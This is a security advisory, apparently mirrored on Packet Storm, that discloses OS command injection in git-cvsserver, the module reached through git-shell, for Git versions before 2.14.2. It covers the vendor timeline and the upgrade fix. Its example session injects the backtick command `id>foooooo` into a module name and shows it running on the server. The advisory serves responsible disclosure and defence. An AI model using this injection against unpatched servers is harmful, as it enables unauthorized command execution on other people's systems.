exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Git cvsserver Remote Command Execution

Git cvsserver Remote Command Execution
Posted Sep 28, 2017
Authored by joernchen | Site phenoelit.de

The git subcommand cvsserver is a Perl script which makes excessive use of the backtick operator to invoke git. Unfortunately user input is used within some of those invocations and it allows for OS command injection. Versions before before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 are affected.

tags | exploit, perl
SHA-256 | 2de6037444f7b5a4cba7811fd7636e3e1a89d1b61face8188b179e5a4d83797b

Git cvsserver Remote Command Execution

Change Mirror Download
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->

[ Authors ]
joernchen <joernchen () phenoelit de>

Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
https://git-scm.com

[ Vendor communication ]
2017-09-08 Sent vulnerability details to the git-security list
2017-09-09 Acknowledgement of the issue, git maintainers ask if
a patch could be provided
2017-09-10 Patch is provided
2017-09-11 Further backtick operations are patched by the git
maintainers, corrections on the provided patch
2017-09-11 Revised patch is sent out
2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
invocation from `git-shell`
2017-09-22 Draft release for git 2.14.2 is created including the
fixes
2017-09-26 Release of this advisory, release of fixed git versions

[ Description ]
The `git` subcommand `cvsserver` is a Perl script which makes excessive
use of the backtick operator to invoke `git`. Unfortunately user input
is used within some of those invocations.


It should be noted, that `git-cvsserver` will be invoked by `git-shell`
by default without further configuration.

[ Example ]
Below a example of a OS Command Injection within `git-cvsserver`
triggered via `git-shell`:

=====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$

[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
=====>8=====

[ Solution ]
Upgrade to one of the following git versions:
* 2.14.2
* 2.13.6
* 2.12.5
* 2.11.4
* 2.10.5

[ end of file ]
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close